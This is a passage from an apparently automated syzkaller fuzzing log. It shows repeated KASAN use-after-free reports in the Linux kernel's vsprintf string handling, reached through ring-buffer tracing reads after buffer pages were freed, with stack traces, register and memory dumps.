string+0x216/0x2d0 lib/vsprintf.c:730
vsnprintf+0x74a/0xef0 lib/vsprintf.c:2945
seq_buf_vprintf+0xf0/0x1c0 lib/seq_buf.c:74
trace_seq_vprintf+0xd7/0x220 kernel/trace/trace_seq.c:175
trace_event_printf+0x110/0x170 kernel/trace/trace_output.c:360
trace_raw_output_lock+0x99/0xd0 include/trace/events/lock.h:49
tracing_read_pipe+0x568/0xb50 kernel/trace/trace.c:5444
vfs_read+0x213/0xa80 fs/read_write.c:572
ksys_read+0x150/0x270 fs/read_write.c:716
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fadcfb36d9e
Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
RSP: 002b:00007fadcfae0198 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 00007fadcfae16c0 RCX: 00007fadcfb36d9e
RDX: 0000000000001000 RSI: 00007fadcfae0200 RDI: 0000000000000003
RBP: 00007fadcfae0200 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
R13: 0000000000000000 R14: 00007ffd4e5b1df0 R15: 00007ffd4e5b1ed8
</TASK>
The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff888119b6e000 pfn:0x119b6e
flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
raw: 017ff00000000000 ffffea00042b8f48 ffffea000466c608 0000000000000000
raw: ffff888119b6e000 0000000000000000 00000000ffffffff 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as freed
page last allocated via order 0, migratetype Unmovable, gfp_mask 0x44dc0(GFP_KERNEL|__GFP_ZERO|__GFP_RETRY_MAYFAIL|__GFP_COMP), pid 5912, tgid 5912 (syz-executor390), ts 116313597429, free_ts 147804824956
set_page_owner include/linux/page_owner.h:32 [inline]
post_alloc_hook+0x1f9/0x250 mm/page_alloc.c:1859
prep_new_page mm/page_alloc.c:1867 [inline]
get_page_from_freelist+0x21fa/0x2270 mm/page_alloc.c:3946
__alloc_frozen_pages_noprof+0x18d/0x380 mm/page_alloc.c:5304
__alloc_pages_noprof+0x10/0x100 mm/page_alloc.c:5338
__alloc_pages_node_noprof include/linux/gfp.h:291 [inline]
alloc_pages_node_noprof include/linux/gfp.h:318 [inline]
alloc_cpu_data kernel/trace/ring_buffer.c:427 [inline]
__rb_allocate_pages+0x9f7/0x1330 kernel/trace/ring_buffer.c:2436
ring_buffer_resize+0x4e8/0x15e0 kernel/trace/ring_buffer.c:3270
__tracing_resize_ring_buffer+0x9c/0x310 kernel/trace/trace.c:4738
tracing_update_buffers+0x7b/0xb0 kernel/trace/trace.c:4977
system_enable_write+0x17e/0x350 kernel/trace/trace_events.c:2020
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
page last free pid 5917 tgid 5912 stack trace:
reset_page_owner include/linux/page_owner.h:25 [inline]
__free_pages_prepare mm/page_alloc.c:1406 [inline]
__free_frozen_pages+0xbdb/0xcb0 mm/page_alloc.c:2950
free_buffer_page kernel/trace/ring_buffer.c:398 [inline]
ring_buffer_subbuf_order_set+0xeaa/0x14b0 kernel/trace/ring_buffer.c:7439
buffer_subbuf_size_write+0x1b3/0x250 kernel/trace/trace.c:8221
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
Memory state around the buggy address:
ffff888119b6eb00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6eb80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
>ffff888119b6ec00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
^
ffff888119b6ec80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6ed00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
==================================================================
==================================================================
BUG: KASAN: use-after-free in string_nocheck lib/vsprintf.c:648 [inline]
BUG: KASAN: use-after-free in string+0x216/0x2d0 lib/vsprintf.c:730
Read of size 1 at addr ffff888119b6ec3e by task syz-executor390/5916
CPU: 1 UID: 0 PID: 5916 Comm: syz-executor390 Tainted: G B syzkaller #1 PREEMPT(full)
Tainted: [B]=BAD_PAGE
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
<TASK>
dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
print_address_description+0x55/0x1e0 mm/kasan/report.c:378
print_report+0x58/0x70 mm/kasan/report.c:482
kasan_report+0x117/0x150 mm/kasan/report.c:595
string_nocheck lib/vsprintf.c:648 [inline]
string+0x216/0x2d0 lib/vsprintf.c:730
vsnprintf+0x74a/0xef0 lib/vsprintf.c:2945
seq_buf_vprintf+0xf0/0x1c0 lib/seq_buf.c:74
trace_seq_vprintf+0xd7/0x220 kernel/trace/trace_seq.c:175
trace_event_printf+0x110/0x170 kernel/trace/trace_output.c:360
trace_raw_output_lock+0x99/0xd0 include/trace/events/lock.h:49
tracing_read_pipe+0x568/0xb50 kernel/trace/trace.c:5444
vfs_read+0x213/0xa80 fs/read_write.c:572
ksys_read+0x150/0x270 fs/read_write.c:716
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fadcfb36d9e
Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
RSP: 002b:00007fadcfae0198 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 00007fadcfae16c0 RCX: 00007fadcfb36d9e
RDX: 0000000000001000 RSI: 00007fadcfae0200 RDI: 0000000000000003
RBP: 00007fadcfae0200 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
R13: 0000000000000000 R14: 00007ffd4e5b1df0 R15: 00007ffd4e5b1ed8
</TASK>
The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff888119b6e000 pfn:0x119b6e
flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
raw: 017ff00000000000 ffffea00042b8f48 ffffea000466c608 0000000000000000
raw: ffff888119b6e000 0000000000000000 00000000ffffffff 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as freed
page last allocated via order 0, migratetype Unmovable, gfp_mask 0x44dc0(GFP_KERNEL|__GFP_ZERO|__GFP_RETRY_MAYFAIL|__GFP_COMP), pid 5912, tgid 5912 (syz-executor390), ts 116313597429, free_ts 147804824956
set_page_owner include/linux/page_owner.h:32 [inline]
post_alloc_hook+0x1f9/0x250 mm/page_alloc.c:1859
prep_new_page mm/page_alloc.c:1867 [inline]
get_page_from_freelist+0x21fa/0x2270 mm/page_alloc.c:3946
__alloc_frozen_pages_noprof+0x18d/0x380 mm/page_alloc.c:5304
__alloc_pages_noprof+0x10/0x100 mm/page_alloc.c:5338
__alloc_pages_node_noprof include/linux/gfp.h:291 [inline]
alloc_pages_node_noprof include/linux/gfp.h:318 [inline]
alloc_cpu_data kernel/trace/ring_buffer.c:427 [inline]
__rb_allocate_pages+0x9f7/0x1330 kernel/trace/ring_buffer.c:2436
ring_buffer_resize+0x4e8/0x15e0 kernel/trace/ring_buffer.c:3270
__tracing_resize_ring_buffer+0x9c/0x310 kernel/trace/trace.c:4738
tracing_update_buffers+0x7b/0xb0 kernel/trace/trace.c:4977
system_enable_write+0x17e/0x350 kernel/trace/trace_events.c:2020
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
page last free pid 5917 tgid 5912 stack trace:
reset_page_owner include/linux/page_owner.h:25 [inline]
__free_pages_prepare mm/page_alloc.c:1406 [inline]
__free_frozen_pages+0xbdb/0xcb0 mm/page_alloc.c:2950
free_buffer_page kernel/trace/ring_buffer.c:398 [inline]
ring_buffer_subbuf_order_set+0xeaa/0x14b0 kernel/trace/ring_buffer.c:7439
buffer_subbuf_size_write+0x1b3/0x250 kernel/trace/trace.c:8221
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
Memory state around the buggy address:
ffff888119b6eb00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6eb80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
>ffff888119b6ec00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
^
ffff888119b6ec80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6ed00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
==================================================================
==================================================================
BUG: KASAN: use-after-free in string_nocheck lib/vsprintf.c:648 [inline]
BUG: KASAN: use-after-free in string+0x216/0x2d0 lib/vsprintf.c:730
Read of size 1 at addr ffff888119b6ec3f by task syz-executor390/5916
CPU: 1 UID: 0 PID: 5916 Comm: syz-executor390 Tainted: G B syzkaller #1 PREEMPT(full)
Tainted: [B]=BAD_PAGE
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
<TASK>
dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
print_address_description+0x55/0x1e0 mm/kasan/report.c:378
print_report+0x58/0x70 mm/kasan/report.c:482
kasan_report+0x117/0x150 mm/kasan/report.c:595
string_nocheck lib/vsprintf.c:648 [inline]
string+0x216/0x2d0 lib/vsprintf.c:730
vsnprintf+0x74a/0xef0 lib/vsprintf.c:2945
seq_buf_vprintf+0xf0/0x1c0 lib/seq_buf.c:74
trace_seq_vprintf+0xd7/0x220 kernel/trace/trace_seq.c:175
trace_event_printf+0x110/0x170 kernel/trace/trace_output.c:360
trace_raw_output_lock+0x99/0xd0 include/trace/events/lock.h:49
tracing_read_pipe+0x568/0xb50 kernel/trace/trace.c:5444
vfs_read+0x213/0xa80 fs/read_write.c:572
ksys_read+0x150/0x270 fs/read_write.c:716
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fadcfb36d9e
Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
RSP: 002b:00007fadcfae0198 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 00007fadcfae16c0 RCX: 00007fadcfb36d9e
RDX: 0000000000001000 RSI: 00007fadcfae0200 RDI: 0000000000000003
RBP: 00007fadcfae0200 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
R13: 0000000000000000 R14: 00007ffd4e5b1df0 R15: 00007ffd4e5b1ed8
</TASK>
The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff888119b6e000 pfn:0x119b6e
flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
raw: 017ff00000000000 ffffea00042b8f48 ffffea000466c608 0000000000000000
raw: ffff888119b6e000 0000000000000000 00000000ffffffff 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as freed
page last allocated via order 0, migratetype Unmovable, gfp_mask 0x44dc0(GFP_KERNEL|__GFP_ZERO|__GFP_RETRY_MAYFAIL|__GFP_COMP), pid 5912, tgid 5912 (syz-executor390), ts 116313597429, free_ts 147804824956
set_page_owner include/linux/page_owner.h:32 [inline]
post_alloc_hook+0x1f9/0x250 mm/page_alloc.c:1859
prep_new_page mm/page_alloc.c:1867 [inline]
get_page_from_freelist+0x21fa/0x2270 mm/page_alloc.c:3946
__alloc_frozen_pages_noprof+0x18d/0x380 mm/page_alloc.c:5304
__alloc_pages_noprof+0x10/0x100 mm/page_alloc.c:5338
__alloc_pages_node_noprof include/linux/gfp.h:291 [inline]
alloc_pages_node_noprof include/linux/gfp.h:318 [inline]
alloc_cpu_data kernel/trace/ring_buffer.c:427 [inline]
__rb_allocate_pages+0x9f7/0x1330 kernel/trace/ring_buffer.c:2436
ring_buffer_resize+0x4e8/0x15e0 kernel/trace/ring_buffer.c:3270
__tracing_resize_ring_buffer+0x9c/0x310 kernel/trace/trace.c:4738
tracing_update_buffers+0x7b/0xb0 kernel/trace/trace.c:4977
system_enable_write+0x17e/0x350 kernel/trace/trace_events.c:2020
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
page last free pid 5917 tgid 5912 stack trace:
reset_page_owner include/linux/page_owner.h:25 [inline]
__free_pages_prepare mm/page_alloc.c:1406 [inline]
__free_frozen_pages+0xbdb/0xcb0 mm/page_alloc.c:2950
free_buffer_page kernel/trace/ring_buffer.c:398 [inline]
ring_buffer_subbuf_order_set+0xeaa/0x14b0 kernel/trace/ring_buffer.c:7439
buffer_subbuf_size_write+0x1b3/0x250 kernel/trace/trace.c:8221
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
Memory state around the buggy address:
ffff888119b6eb00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6eb80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
>ffff888119b6ec00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
^
ffff888119b6ec80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6ed00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
==================================================================
==================================================================
BUG: KASAN: use-after-free in string_nocheck lib/vsprintf.c:648 [inline]
BUG: KASAN: use-after-free in string+0x216/0x2d0 lib/vsprintf.c:730
Read of size 1 at addr ffff888119b6ec40 by task syz-executor390/5916
CPU: 1 UID: 0 PID: 5916 Comm: syz-executor390 Tainted: G B syzkaller #1 PREEMPT(full)
Tainted: [B]=BAD_PAGE
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
<TASK>
dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
print_address_description+0x55/0x1e0 mm/kasan/report.c:378
print_report+0x58/0x70 mm/kasan/report.c:482
kasan_report+0x117/0x150 mm/kasan/report.c:595
string_nocheck lib/vsprintf.c:648 [inline]
string+0x216/0x2d0 lib/vsprintf.c:730
vsnprintf+0x74a/0xef0 lib/vsprintf.c:2945
seq_buf_vprintf+0xf0/0x1c0 lib/seq_buf.c:74
trace_seq_vprintf+0xd7/0x220 kernel/trace/trace_seq.c:175
trace_event_printf+0x110/0x170 kernel/trace/trace_output.c:360
trace_raw_output_lock+0x99/0xd0 include/trace/events/lock.h:49
tracing_read_pipe+0x568/0xb50 kernel/trace/trace.c:5444
vfs_read+0x213/0xa80 fs/read_write.c:572
ksys_read+0x150/0x270 fs/read_write.c:716
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fadcfb36d9e
Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
RSP: 002b:00007fadcfae0198 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 00007fadcfae16c0 RCX: 00007fadcfb36d9e
RDX: 0000000000001000 RSI: 00007fadcfae0200 RDI: 0000000000000003
RBP: 00007fadcfae0200 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
R13: 0000000000000000 R14: 00007ffd4e5b1df0 R15: 00007ffd4e5b1ed8
</TASK>
The buggy address belongs to the physical page:
page: refcount:1 mapcount:0 mapping:0000000000000000 index:0xffff888119b6e000 pfn:0x119b6e
flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
raw: 017ff00000000000 0000000000000000 dead000000000122 0000000000000000
raw: ffff888119b6e000 0000000000000000 00000001ffffffff 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as allocated
page last allocated via order 0, migratetype Unmovable, gfp_mask 0x44dc0(GFP_KERNEL|__GFP_ZERO|__GFP_RETRY_MAYFAIL|__GFP_COMP), pid 5920, tgid 5912 (syz-executor390), ts 153086917757, free_ts 147804824956
set_page_owner include/linux/page_owner.h:32 [inline]
post_alloc_hook+0x1f9/0x250 mm/page_alloc.c:1859
prep_new_page mm/page_alloc.c:1867 [inline]
get_page_from_freelist+0x21fa/0x2270 mm/page_alloc.c:3946
__alloc_frozen_pages_noprof+0x18d/0x380 mm/page_alloc.c:5304
__alloc_pages_noprof+0x10/0x100 mm/page_alloc.c:5338
__alloc_pages_node_noprof include/linux/gfp.h:291 [inline]
alloc_pages_node_noprof include/linux/gfp.h:318 [inline]
alloc_cpu_data kernel/trace/ring_buffer.c:427 [inline]
__rb_allocate_pages+0x9f7/0x1330 kernel/trace/ring_buffer.c:2436
ring_buffer_subbuf_order_set+0x45d/0x14b0 kernel/trace/ring_buffer.c:7379
buffer_subbuf_size_write+0x1b3/0x250 kernel/trace/trace.c:8221
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
page last free pid 5917 tgid 5912 stack trace:
reset_page_owner include/linux/page_owner.h:25 [inline]
__free_pages_prepare mm/page_alloc.c:1406 [inline]
__free_frozen_pages+0xbdb/0xcb0 mm/page_alloc.c:2950
free_buffer_page kernel/trace/ring_buffer.c:398 [inline]
ring_buffer_subbuf_order_set+0xeaa/0x14b0 kernel/trace/ring_buffer.c:7439
buffer_subbuf_size_write+0x1b3/0x250 kernel/trace/trace.c:8221
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
Memory state around the buggy address:
ffff888119b6eb00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
ffff888119b6eb80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
>ffff888119b6ec00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
^
ffff888119b6ec80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
ffff888119b6ed00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
==================================================================
]
|
| 168/1 |
2026/08/12 02:44 |
action |
save-repro-c |
0m
Results:
|